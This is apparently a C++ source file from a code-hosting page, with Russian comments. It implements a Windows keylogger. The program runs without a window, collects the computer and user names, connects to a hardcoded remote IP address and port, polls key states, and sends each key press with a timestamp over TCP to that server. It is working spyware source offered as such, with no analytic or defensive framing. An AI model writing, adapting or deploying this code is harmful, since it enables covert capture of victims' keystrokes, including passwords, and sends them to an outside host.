You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

300 lines
9.8 KiB

2 years ago
#pragma comment(lib, "ws2_32.lib")
#include <WinSock2.h>
#include <iostream>
#include <map>
#include <vector>
#include <conio.h>
#include <string>
#include <windows.h>
#include <sstream>
#include <fstream>
#pragma warning(disable: 4996)
#include "main.h"
std::map<unsigned char, std::string> BUTTON_CODES = {
// {0x01, "LMB"}, // левая кнопка мыши
// {0x02, "RMB"}, // правая кнопка мыши
// {0x03, "CTRL+Break"}, // комбинация CTRL + Break
// {0x04, "MMB"}, // средняя кнопка мыши
{0x08, "BackSpace"}, // кнопка возврата на одну позицию
2 years ago
{0x09, "TAB"},
{0x0D, "Enter"},
{0x10, "SHIFT_ADV"}, // вспомогательная клавиша Shift
2 years ago
{0x11, "CTRL"},
{0x12, "ALT"},
// {0x13, "PAUSE"},
{0x14, "Caps Lock"},
{0x1B, "ESC"},
{0x20, "Space"}, // пробел
2 years ago
{0x21, "Page Up"},
{0x22, "Page Down"},
{0x23, "END"},
{0x24, "HOME"},
{0x25, "Left arrow"}, // стрелка влево
{0x26, "Up arrow"}, // стрелка вверх
{0x27, "Right arrow"}, // стрелка вправо
{0x28, "Down arrow"}, // стрелка вниз
2 years ago
// {0x2C, "Print Screen"},
{0x2D, "Insert"},
{0x2E, "Delete"},
{0x2F, "HELP"},
{0x30, "0"},
{0x31, "1"},
{0x32, "2"},
{0x33, "3"},
{0x34, "4"},
{0x35, "5"},
{0x36, "6"},
{0x37, "7"},
{0x38, "8"},
{0x39, "9"},
{0x41, "A"},
{0x42, "B"},
{0x43, "C"},
{0x44, "D"},
{0x45, "E"},
{0x46, "F"},
{0x47, "G"},
{0x48, "H"},
{0x49, "I"},
{0x4A, "J"},
{0x4B, "K"},
{0x4C, "L"},
{0x4D, "M"},
{0x4E, "N"},
{0x4F, "O"},
{0x50, "P"},
{0x51, "Q"},
{0x52, "R"},
{0x53, "S"},
{0x54, "T"},
{0x55, "U"},
{0x56, "V"},
{0x57, "W"},
{0x58, "X"},
{0x59, "Y"},
{0x5A, "Z"},
{0x5B, "Left Windows"},
{0x5C, "Right Windows"},
{0x60, "NumPad 0"},
{0x61, "NumPad 1"},
{0x62, "NumPad 2"},
{0x63, "NumPad 3"},
{0x64, "NumPad 4"},
{0x65, "NumPad 5"},
{0x66, "NumPad 6"},
{0x67, "NumPad 7"},
{0x68, "NumPad 8"},
{0x69, "NumPad 9"},
{0x6A, "*"},
{0x6B, "+"},
{0x6C, "\\"},
{0x6D, "-"},
{0x6E, "."},
{0x6F, "/"},
{0x70, "F1"},
{0x71, "F2"},
{0x72, "F3"},
{0x73, "F4"},
{0x74, "F5"},
{0x75, "F6"},
{0x76, "F7"},
{0x77, "F8"},
{0x78, "F9"},
{0x79, "F10"},
{0x7A, "F11"},
{0x7B, "F12"},
{0x90, "Num Lock"},
// {0x91, "Scroll Lock"},
{0xA0, "Left Shift"},
{0xA1, "Right Shift"},
{0xA2, "Left CTRL"},
{0xA3, "Right CTRL"},
};
struct TCPIPPacket {
uint8_t typeID; // идентификатор типа пакета
uint32_t size; // размер всего пакета в байтах
uint32_t time; // временная метка пакета
uint32_t crc32; // контрольная сумма пакета
2 years ago
uint32_t pcNameSize; // количество байтов в имени компьютера
std::string pcName; // имя компьютера
2 years ago
uint32_t userNameSize; // количество байтов в имени пользователя
std::string userName; // имя пользователя
2 years ago
uint32_t keyNameSize; // количество байтов в имени нажатой клавиши
std::string keyName; // имя нажатой клавиши
2 years ago
TCPIPPacket() :
typeID(0xAA), size(0), time(0), crc32(0),
pcNameSize(0), pcName(""), userNameSize(0),
userName(""), keyNameSize(0), keyName("")
{
}
};
bytes_vector packetToBytes(const TCPIPPacket& rPacket); // метод преобразования пакета в вектор
2 years ago
uint32_t calculateCrc32(bytes_vector& vBytes); // функция расчета контрольной суммы пакета
void sendPacket(SOCKET& socket, bytes_vector& vBytes); // функция отправки пакета
2 years ago
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // обработчик клавиш
2 years ago
int WINAPI wWinMain(
_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nShowCmd
) {
TCPIPPacket packet; // пакет для отправки
2 years ago
TCHAR pcName[SHRT_MAX];
DWORD pcNameSize = SHRT_MAX;
TCHAR userName[SHRT_MAX];
DWORD userNameSize = SHRT_MAX;
/* получаем имя компьютера */
2 years ago
while (!GetComputerName(pcName, &pcNameSize)); // пока не удается получить имя компьютера, будем висеть в бесконечном цикле
packet.pcName = pcName; // сохраним имя компьютера в пакете
packet.pcNameSize = packet.pcName.length(); // запишем длину имени компьютера
2 years ago
/* получаем имя пользователя */
2 years ago
while (!GetUserName(userName, &userNameSize)); // пока не удастся получить имя пользователя, будем висеть в бесконечном цикле
packet.userName = userName; // сохраним имя пользователя в пакете
packet.userNameSize = packet.userName.length(); // запишем длину имени пользователя
2 years ago
/* подключаемся к серверу */
2 years ago
WSADATA wsaData;
const auto dllVersion = MAKEWORD(2, 1);
while (WSAStartup(dllVersion, &wsaData) != 0); // пытаемся подкючить библиотеку с сокетами бесконечно
2 years ago
SOCKADDR_IN socketAddress;
socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-адрес сервер
socketAddress.sin_port = htons(51043); // порт, через который подключаемся к серверу
2 years ago
socketAddress.sin_family = AF_INET;
SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // создаем сокет
while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // бесконечно пытаемся подключиться к серверу
2 years ago
/* Отслеживаем нажатие клавиш */
2 years ago
while (true) {
processKeyboard(connection, packet);
}
return 0;
}
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket) {
for (const auto& mRow : BUTTON_CODES) {
const auto keyID = mRow.first; // получаем идентификатор клавиши
2 years ago
if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // если рассматриваемая клавиша не нажата
continue; // ищем дальше
2 years ago
}
rPacket.time = (uint32_t)std::time(nullptr); // запишем UNIX-время
2 years ago
rPacket.keyName = mRow.second; // запишем имя клавиши
rPacket.keyNameSize = mRow.second.length(); // запишем длину имени клавиши в байтах
2 years ago
rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // обновляем размер пакета
2 years ago
return (0
+ sizeof(rPacket.typeID) // поле для хранения идентификатора пакета
+ sizeof(rPacket.size) // поле под хранение длины пакета
+ sizeof(rPacket.time) // поле под хранение временной метки
+ sizeof(rPacket.crc32) // поле под хранение контрольной суммы пакета
+ rPacket.pcName.length() // добавляем длину имени компьютера
+ sizeof(rPacket.pcNameSize) // добавляем поле под хранение длины имени компьютера
+ rPacket.userName.length() // добавляем длину имени пользователя
+ sizeof(rPacket.userNameSize) // добавляем поле под хранение длины имени пользователя
+ rPacket.keyName.length() // добавляем длину имени нажатой клавиши
+ sizeof(rPacket.keyNameSize) // добавляем поле под хранение длины имени нажатой клавиши
2 years ago
);
}(rPacket);
bytes_vector vBytes = packetToBytes(rPacket); // преобразуем пакет в вектор байтов
rPacket.crc32 = calculateCrc32(vBytes); // записываем контрольную сумму пакета
2 years ago
sendPacket(socket, vBytes); // отправляем пакет
2 years ago
Sleep(100); // 10 мс отдыхаем
2 years ago
}
Sleep(10); // 10 мс отдыхаем
2 years ago
}
uint32_t calculateCrc32(bytes_vector& vBytes) {
uint32_t value, crc = 0xFF'FF'FF'FF;
for (const auto byte : vBytes) {
value = (crc ^ byte) & 0xFF;
for (auto i = 0; i < CHAR_BIT; i++) {
value = (value & 0x1) ? ((value >> 1) ^ 0xED'B8'83'20) : (value >> 1);
}
crc = value ^ crc >> CHAR_BIT;
}
return crc ^ 0xFF'FF'FF'FF;
}
void sendPacket(SOCKET& socket, bytes_vector& vBytes) {
const auto size = vBytes.size();
char* message = new char[size + 1];
uint32_t i = 0;
for (const auto byte : vBytes) { // копируем байты из вектора в массив
2 years ago
message[i++] = byte;
}
send(socket, message, size, NULL); // отправляем сообщение по TCP/IP
2 years ago
delete[] message; // удаляем массив
2 years ago
}
template <>
void pushValue(bytes_vector& vBytes, const std::string& value) {
vBytes.insert(vBytes.end(), value.begin(), value.end());
}
bytes_vector packetToBytes(const TCPIPPacket& rPacket) {
bytes_vector vBytes;
pushValue(vBytes, rPacket.typeID); // тип пакета
pushValue(vBytes, rPacket.size); // размер пакета
pushValue(vBytes, rPacket.time); // временная метка
pushValue(vBytes, rPacket.crc32); // контрольная сумма
pushValue(vBytes, rPacket.pcNameSize); // количество байтов имени компьютера
pushValue(vBytes, rPacket.pcName); // имя компьютера
pushValue(vBytes, rPacket.userNameSize); // количество байтов имени пользователя
pushValue(vBytes, rPacket.userName); // имя пользователя
pushValue(vBytes, rPacket.keyNameSize); // количество байтов имени клавиши
pushValue(vBytes, rPacket.keyName); // имя клавиши
2 years ago
return vBytes;
}